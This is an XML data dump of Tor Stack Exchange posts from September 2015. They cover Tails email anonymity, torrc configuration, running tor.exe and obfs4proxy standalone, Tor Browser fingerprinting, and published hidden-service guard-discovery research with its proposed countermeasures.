  <row Id="8600" PostTypeId="1" AcceptedAnswerId="8632" CreationDate="2015-09-05T04:45:30.373" Score="1" ViewCount="944" Body="&lt;p&gt;I don't see much chance of persuading non-techie friends and family to use Tor or TAILS.  So sending them e-mail from TAILS will identify me for other traffic on the same circuit?  Or does SMTP and HTTP use separate paths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's even less chance of getting them to use PGP, so perhaps the other question is irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, how can they reply without going to my ISP? which would identify me again.  I can set up an e-mail server, but without a hostname or IP address, no one can talk to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm one of thoe fellows who &quot;doesn't have anything to hide,&quot; but I like the idea of snubbing the snoops.  :-) &lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2015-09-21T00:02:48.497" Title="Does Claws in TAILS actually accomplish anything for anonymity?" Tags="|tails|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8601" PostTypeId="1" CreationDate="2015-09-05T09:58:58.327" Score="3" ViewCount="294" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XmrgO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XmrgO.png&quot; alt=&quot;debian-tor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the circuit, why does my node (hi-lighted) appear to be an exit node? Or am I reading it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My exit policy is  &lt;code&gt;ExitPolicy reject *:*&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="Ali" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T18:53:45.183" LastActivityDate="2019-02-10T18:53:45.183" Title="Why do I appear as a Tor exit node despite ExitPolicy reject *:*" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8602" PostTypeId="2" ParentId="8599" CreationDate="2015-09-05T10:05:20.550" Score="1" Body="&lt;p&gt;You must have 2 partitions in your USB so that you can install the OS in one partition and use the other one to hold your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to achieve this is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Partition the drive (using GParted or some other tools) in 2 partitions with one (for eg: &lt;code&gt;dev/sdb1&lt;/code&gt;) partition to hold your operating system, and another partition to hold your data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Format the partitions accordingly (&lt;code&gt;ext4&lt;/code&gt; for Tails and &lt;code&gt;exFAT&lt;/code&gt; for data) using any tool of your choice (I prefer GParted)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Tails into one partition (eg:&lt;code&gt;/dev/sdb&lt;/code&gt;) using UNetbootin or &lt;code&gt;dd&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-05T10:05:20.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8603" PostTypeId="1" CreationDate="2015-09-05T13:04:36.577" Score="2" ViewCount="718" Body="&lt;p&gt;Tor beside anonymizing our location also make us unique as very few users actually use it on each webservice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;question is in what ways destination sites can detect Tor browser? for instance canvas protection is a sign of Tor browser and a &lt;a href=&quot;https://www.browserleaks.com/canvas&quot; rel=&quot;nofollow&quot;&gt;simple&lt;/a&gt; script can exploit it. what other footprints can tell a website that user have Tor browser not a normal browser? and how we can modify Tor browser to hide these footprints and look like a normal firefox user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: my question is for when user don't use Tor's socks proxy, but just Tor's enhanced browser directly or over an undetectable proxy ...&lt;/p&gt;&#xA;" OwnerUserId="9310" LastActivityDate="2019-11-06T17:18:02.347" Title="Knowing all differences between Tor browser and normal Firefox to foil Tor detection techniques" Tags="|deanonymization|fingerprinting|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8604" PostTypeId="2" ParentId="7375" CreationDate="2015-09-05T16:44:57.567" Score="0" Body="&lt;p&gt;Yes. If your Tor is not a relay, your send/receive bandwidth stats will not be public.&lt;br&gt;&#xA;You could run 2 Tors. One to host your hidden service(s) and one relay.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-09-05T16:44:57.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8605" PostTypeId="1" CreationDate="2015-09-05T17:11:55.903" Score="1" ViewCount="213" Body="&lt;p&gt;I have installed orbit on my android, first the transproxy doesn't work, even using default iptables, or other iptables with orbit, the browser shows connected to tour, but cannot open any onion sites. I also tried proxydroid to use proxy on chrome, but still it shows me connected but no onion sites open. The only way is to use the APN trick, to create a new APN with the proxy and port of orbit. This way the onion sites open, but I don't want to use for for every app, which this APN does. So is there a way to use it for specific app.&lt;/p&gt;&#xA;" OwnerUserId="9313" LastActivityDate="2015-09-05T17:11:55.903" Title="DNS probe failed, no internet" Tags="|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8608" PostTypeId="2" ParentId="7566" CreationDate="2015-09-06T08:32:11.320" Score="3" Body="&lt;p&gt;As per &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en%23GetTor&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Some government or corporate firewalls censor connections to Tor's website. In those cases, you have three options. First, get it from a friend — &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; fits nicely on a USB key. Second, find the &lt;a href=&quot;https://encrypted.google.com/search?q=tor+mirrors&quot; rel=&quot;nofollow noreferrer&quot;&gt;google cache&lt;/a&gt; for the &lt;a href=&quot;https://www.torproject.org/getinvolved/mirrors.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor mirrors page&lt;/a&gt; and see if any of those copies of our website work for you. Third, you can download Tor Browser via email: log in to your email account and send an email to 'gettor@torproject.org' with one of the following words in the body of the message: windows, osx or linux (case insensitive). You will receive a reply with links from popular cloud services to download Tor Browser for Windows, Mac OS X or Linux, depending on the option you chose. Currently, the only cloud service supported is Dropbox. If you send a blank message or anything different from the options mentioned, you will receive a help message with detailed instructions to ask for Tor Browser via email. Please note that you can use this service from any email address: gmail, yahoo, hotmail, riseup, etc. The only restriction is that you can do a maximum of three requests in a row, after that you'll have to wait 20 minutes to use it again. See the &lt;a href=&quot;https://www.torproject.org/projects/gettor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetTor&lt;/a&gt; section for more information.&lt;/p&gt;&#xA;&lt;p&gt;Be sure to &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify the signature&lt;/a&gt; of any package you download, especially when you get it from somewhere other than our official HTTPS website.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="86" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-09-06T08:32:11.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8609" PostTypeId="2" ParentId="7590" CreationDate="2015-09-06T12:26:22.910" Score="2" Body="&lt;p&gt;Using Hola may not be advantageous and instead can even backfire considering the infamous &lt;a href=&quot;http://www.businessinsider.in/A-wildly-popular-Google-Chrome-extension-was-being-used-as-a-giant-botnet/articleshow/47462141.cms&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt;. In addition, I do think the IP address of those exit nodes are even available, and even if you get one using such 'false' exit node is an overly restrictive/impractical/unstable setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, though, set preferred entry and exit nodes as well as inform Tor which nodes you do not want to use. For example, you can edit the &lt;code&gt;torrc&lt;/code&gt; file (which might be in &lt;code&gt;Browser/TorBrowser/Data/Tor/&lt;/code&gt; directory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us} #use exit nodes in the United States&#xA;ExcludeNodes {ru},{ro},{pt},{ph},{pa} #do not use exit nodes from these countries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-06T12:26:22.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8610" PostTypeId="1" AcceptedAnswerId="8613" CreationDate="2015-09-06T15:46:32.827" Score="4" ViewCount="1084" Body="&lt;p&gt;Does anyone know how to start &lt;code&gt;tor.exe&lt;/code&gt; and &lt;code&gt;obsf4proxy.exe&lt;/code&gt; on WIN32 platform without having to launch Tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance in order to use a 3389 client to access the 3389 server by tor, I must first start the Tor browser, and in this way &lt;code&gt;tor.exe&lt;/code&gt; and &lt;code&gt;obsf4proxy&lt;/code&gt; will run in background. &lt;/p&gt;&#xA;" OwnerUserId="9321" LastEditorUserId="8197" LastEditDate="2015-09-09T10:26:47.617" LastActivityDate="2015-09-09T21:18:57.123" Title="Can I just run tor and obsfproxy on windows platform without having to start tor browser" Tags="|configuration|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8613" PostTypeId="2" ParentId="8610" CreationDate="2015-09-07T12:12:00.123" Score="2" Body="&lt;p&gt;In general the &lt;a href=&quot;https://github.com/kheops2713/telecomix-openvpn/tree/master/Windows&quot; rel=&quot;nofollow&quot;&gt;usage&lt;/a&gt; for &lt;code&gt;obfsproxy&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy [obfsproxy_args] protocol_name [protocol_args] protocol_options protocol_name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy obfs2 socks 127.0.0.1:5050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other &lt;a href=&quot;http://manpages.ubuntu.com/manpages/trusty/man1/obfsproxy.1.html&quot; rel=&quot;nofollow&quot;&gt;options&lt;/a&gt; for &lt;code&gt;protocol_name&lt;/code&gt; are: &lt;code&gt;managed&lt;/code&gt;, &lt;code&gt;dummy&lt;/code&gt;, &lt;code&gt;b64&lt;/code&gt;, &lt;code&gt;obfs2&lt;/code&gt; or &lt;code&gt;obfs3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run &lt;code&gt;obfsproxy&lt;/code&gt; by specifying something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs4 exec Path\To\obfs4proxy &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the &lt;code&gt;torrc&lt;/code&gt; file&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="8197" LastEditDate="2015-09-09T10:38:27.303" LastActivityDate="2015-09-09T10:38:27.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8614" PostTypeId="1" AcceptedAnswerId="8616" CreationDate="2015-09-07T13:34:24.683" Score="2" ViewCount="304" Body="&lt;p&gt;A while ago a group of researchers presented a Tor like network called &lt;a href=&quot;http://arxiv.org/pdf/1507.05724v1.pdf&quot; rel=&quot;nofollow&quot;&gt;HORNET&lt;/a&gt;; it is, reportedly, &lt;a href=&quot;http://arstechnica.co.uk/information-technology/2015/07/researchers-claim-theyve-developed-a-better-faster-tor/&quot; rel=&quot;nofollow&quot;&gt;&quot;a better, faster Tor&quot;&lt;/a&gt;. Do you know if the improvements proposed in the paper could be incrementally implemented in the Tor architecture? Or is there some fundamental difference between the two?&lt;/p&gt;&#xA;" OwnerUserId="9329" LastEditorUserId="71" LastEditDate="2015-09-07T16:26:18.817" LastActivityDate="2015-12-03T10:19:52.060" Title="Can HORNET be implemented into Tor?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8615" PostTypeId="2" ParentId="6944" CreationDate="2015-09-07T14:50:21.770" Score="1" Body="&lt;p&gt;open up two terminal tabs. in the first tab: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;run the following to view the system log. this is a good rule of thumb when trying to troubleshoot.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo tail -f /var/log/syslog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the second tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to connect to your ssh server using your command and configure your browser to use a SOCKS5 proxy at 127.0.0.1:9999. you should see from the syslog that the traffic is getting dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the firewall rules in TAILS are built using ferm, and the policy is defined in /etc/ferm/ferm.conf. to punch a hole in the firewall for your desired port, run this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo sed -i 's/(9050 9061 9062 9150)/(9050 9061 9062 9150 9999)/g' /etc/ferm/ferm.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;essentially we're allowing traffic at port 9999. now, reload ferm with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo /usr/sbin/ferm /etc/ferm/ferm.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;re-connect to your ssh server and you should see that your traffic no longer gets dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;other considerations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i also recommend you add the following options to your ssh command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-o ExitOnForwardFailure=yes ServerAliveInterval=120 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;these essentially do what they look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, the changes to the firewall are temporary, and will be lost on reboot. however, it would be prudent to close the port once you've ended your ssh session. to do this, execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo sed -i 's/(9050 9061 9062 9150 9999)/(9050 9061 9062 9150)/g' /etc/ferm/ferm.conf&#xA;/usr/sbin/ferm /etc/ferm/ferm.conf &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;writing a shell script to automate this will make it less tedious. if you go this route, you should code the firewall reset commands using an exit trap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://redsymbol.net/articles/bash-exit-traps/&quot; rel=&quot;nofollow&quot;&gt;http://redsymbol.net/articles/bash-exit-traps/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tails relevant linkies:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/contribute/design/Tor_enforcement/Network_filter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/ferm/ferm.conf&quot; rel=&quot;nofollow&quot;&gt;https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/ferm/ferm.conf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6790" LastActivityDate="2015-09-07T14:50:21.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8616" PostTypeId="2" ParentId="8614" CreationDate="2015-09-07T15:05:17.177" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there some fundamental difference between the two?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;AFAIK, the fundamental difference is that Tor works in the TCP layer and HORNET works in the Network layer. So, implementing HORNET in Tor may not be the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some interesting discussions around this topic in the internet, but there seems to be no 'official' response from Tor on what they think about HORNET. If you look closely, in general, the opinion is in favor of Tor because of a number of reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a high-level take on HORNET by &lt;a href=&quot;https://www.grc.com/sn/sn-518.htm&quot; rel=&quot;nofollow&quot;&gt;Gibson&lt;/a&gt; that's worth a read. &lt;a href=&quot;https://www.mail-archive.com/tor-talk@lists.torproject.org/msg18757.html&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; mailing list and &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/3fe4jc/tor_vs_hornet/&quot; rel=&quot;nofollow&quot;&gt;subreddit&lt;/a&gt; also discuss the issues.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-07T15:05:17.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8617" PostTypeId="2" ParentId="8603" CreationDate="2015-09-07T15:34:48.027" Score="1" Body="&lt;p&gt;I do not think it is the intention of Tor to be undetectable, rather it is designed to make you indistinguishable from others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/questions/28200567/can-i-detect-tor-browser-inside-the-browser-itself-via-javascript-i-suppose&quot;&gt;this&lt;/a&gt; post in SO, a browser can be a TBB if it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Has a User-Agent of &lt;code&gt;Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Has a screen resolution that matches the browser window size (particularly if that size is 1000x800)&lt;/li&gt;&#xA;&lt;li&gt;Has a time zone of &quot;0&quot; (GMT)&lt;/li&gt;&#xA;&lt;li&gt;Has no plugins (&lt;code&gt;navigator.plugins&lt;/code&gt; is empty)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As to the different ways of detecting browsers, there is now a &lt;a href=&quot;https://panopticlick.eff.org/browser-uniqueness.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper&lt;/a&gt; from EFF that investigates the degree to which modern web browsers are subject to “device fingerprinting”. Based on this, they have developed &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Panopticlick&lt;/a&gt; tool that tests your browser to see how unique it is based on the &lt;a href=&quot;https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy&quot; rel=&quot;nofollow noreferrer&quot;&gt;information&lt;/a&gt; it will share with sites it visits.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2015-09-07T15:34:48.027" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8618" PostTypeId="2" ParentId="6701" CreationDate="2015-09-08T12:13:14.593" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Give me an example of what it should include:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is an example &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory C:\Documents and Settings\ron\Desktop\Tor\Data&#xA;#ControlPort 9151&#xA;SocksPort 9150&#xA;# UseBridges 1&#xA;# bridge 60.16.182.53:9001&#xA;# bridge 87.237.118.139:444&#xA;# bridge 60.63.97.221:443&#xA;# ExitNodes 172.10.0.0/16&#xA;GeoIPFile C:\Documents and Settings\ron\Desktop\Tor\Data\Tor\geoip&#xA;GeoIPv6File C:\Documents and Settings\ron\Desktop\Tor\Data\Tor\geoip6&#xA;MaxCircuitDirtiness 1800&#xA;ExitNodes {ca},{gb},{au},{us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can place the &lt;code&gt;torrc&lt;/code&gt; file in the &lt;code&gt;Data\Tor&lt;/code&gt; but you can keep it anywhere you like and specify the location using the &lt;code&gt;-f&lt;/code&gt; option when invoking the process.  directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expert bundle doesn't come with Pluggabletransport, so you have to get it separately. There used to be a Pluggabletransport bundle for Windows, but do not know &lt;a href=&quot;https://dist.torproject.org/torbrowser/tor-pluggable-transports-browser-2.4.11-alpha-2_en-US.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;what happened to it&lt;/a&gt;. Looks like the best option is to &lt;a href=&quot;https://silvenga.com/openvpn-obfuscating/&quot; rel=&quot;nofollow noreferrer&quot;&gt;get it&lt;/a&gt; from TBB.&#xA;As an example, you can add the following to your &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## obfs4proxy configuration&#xA;ClientTransportPlugin obfs4 exec Path\To\obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To see the output of &lt;code&gt;tor.exe&lt;/code&gt; refer to other &lt;a href=&quot;https://tor.stackexchange.com/questions/6198/is-the-latest-tor-0-2-5-10-expert-bundle-broken/6199#6199&quot;&gt;posts&lt;/a&gt; in this site. In addition, this &lt;a href=&quot;https://roastedonion.wordpress.com/2013/04/28/upgrading-your-bridge-to-an-obfsproxy-bridge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; posted by a user in his blog might also be helpful.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-08T12:13:14.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8621" PostTypeId="2" ParentId="6420" CreationDate="2015-09-08T16:30:12.247" Score="2" Body="&lt;p&gt;A 'brief summary' is available in the &lt;a href=&quot;https://blog.torproject.org/blog/hidden-service-hackfest-arlington-accords&quot; rel=&quot;nofollow&quot;&gt;Tor-blog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Proposal 224 aka the &quot;Next Generation Hidden Services&quot; project is a plan for improving hidden services in fundamental ways: The new system&#xA;  will be faster, use better cryptography, have more secure onion&#xA;  addresses, and offer advanced security properties like improved DoS&#xA;  resistance and keeping identity keys offline&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Other possible changes are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-July/009079.html&quot; rel=&quot;nofollow&quot;&gt;Merging&lt;/a&gt; the roles of &quot;hidden service directory&quot; and &quot;introduction point&quot; on the hidden service protocol&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A protocol for &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-August/009189.html&quot; rel=&quot;nofollow&quot;&gt;global randomness calculation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Defending Against &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-July/009066.html&quot; rel=&quot;nofollow&quot;&gt;Guard Discovery Attacks&lt;/a&gt; using Vanguards&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/user/special/torspec.git/log/?h=xxx-direct-onion&quot; rel=&quot;nofollow&quot;&gt;Revamped&lt;/a&gt; &quot;Direct Onion Services&quot; into a faster and far more elegant protocol&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-July/009103.html&quot; rel=&quot;nofollow&quot;&gt;OnioNS&lt;/a&gt;, the Onion Name System, which allows a hidden service operator to register a human-readable name.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://people.torproject.org/~asn/hs_hackfest_2015/224modules.txt&quot; rel=&quot;nofollow&quot;&gt;more&lt;/a&gt;..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow&quot;&gt;Next-Generation Hidden Services in Tor&lt;/a&gt; document to know more.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-08T16:30:12.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8622" PostTypeId="2" ParentId="4780" CreationDate="2015-09-08T17:17:12.870" Score="1" Body="&lt;p&gt;Since each hidden service keeps a list of guard nodes, revealing the guards gives the attacker the next point of attack. Since both hidden services and guard nodes are valid for a long time (more than a month in case of guard nodes), this also gives the attacker/advocacy ample time to take control over the guard nodes or mount legal attack or recovery metadata from guard nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack is presented in great detail in Section VI and VII in the original article &quot;&lt;a href=&quot;http://www.ieee-security.org/TC/SP2013/papers/4977a080.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Trawling for Tor Hidden Services: Detection, Measurement, Deanonymization&lt;/a&gt;&quot;. An important point to note is that to carry out this attack, control over at least two Tor non-Exit relays is a prerequisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the attack, the hidden service is forced to establishes many&#xA;  rendezvous connections to the rendezvous point (RP) controlled by the&#xA;  attacker in hope that some circuits pass through the second node (the&#xA;  middle node) controlled by the attacker. The RP generates traffic with&#xA;  a special signature which can be identified by the attacker’s middle&#xA;  node. The steps of the attack are the same as in section VI.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bFbx4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bFbx4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is unlikely to eliminate the risk of risk of guard nodes being able to deanonymize a hidden service having chosen them, but suggested countermeasures include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use an additional layer of guard nodes – guard middle nodes. This has already been &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2015-July/009066.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;proposed&lt;/a&gt; as a part of &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/224-rend-spec-ng.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Next-Generation Hidden Services in Tor&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;decrease guards compromise rate by:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;making the guard rotation interval longer&lt;/li&gt;&#xA;&lt;li&gt;taking into account how long nodes have been&#xA;part of the network when assigning Guard flags to them&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8197" LastActivityDate="2015-09-08T17:17:12.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8623" PostTypeId="2" ParentId="8601" CreationDate="2015-09-08T17:54:11.413" Score="1" Body="&lt;p&gt;I don't know really, but I would think that this is some initialisation/self-testing circuit. It was initiated by 127.0.0.1. When you are the Exit in a normal circuit, you can not tell who the guard and client are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can lookup your relay on &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; and check your flags and exit policy.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-09-08T18:16:22.383" LastActivityDate="2015-09-08T18:16:22.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8624" PostTypeId="2" ParentId="6658" CreationDate="2015-09-09T00:39:05.817" Score="6" Body="&lt;p&gt;You can run tor.exe without Tor browser in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Copy torrc.defaults into the directory in which tor.exe is&lt;br&gt;&#xA;2) Open cmd prompt windows&lt;br&gt;&#xA;3) chdir to the directory where tor.exe is&lt;br&gt;&#xA;4) Execute cmd line: tor.exe -f .\torrc.defaults  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see tor is running and Socks listening on port 9150, Control listening on port 9151.&lt;/p&gt;&#xA;" OwnerUserId="9321" LastEditorUserId="350" LastEditDate="2015-09-09T11:35:02.377" LastActivityDate="2015-09-09T11:35:02.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
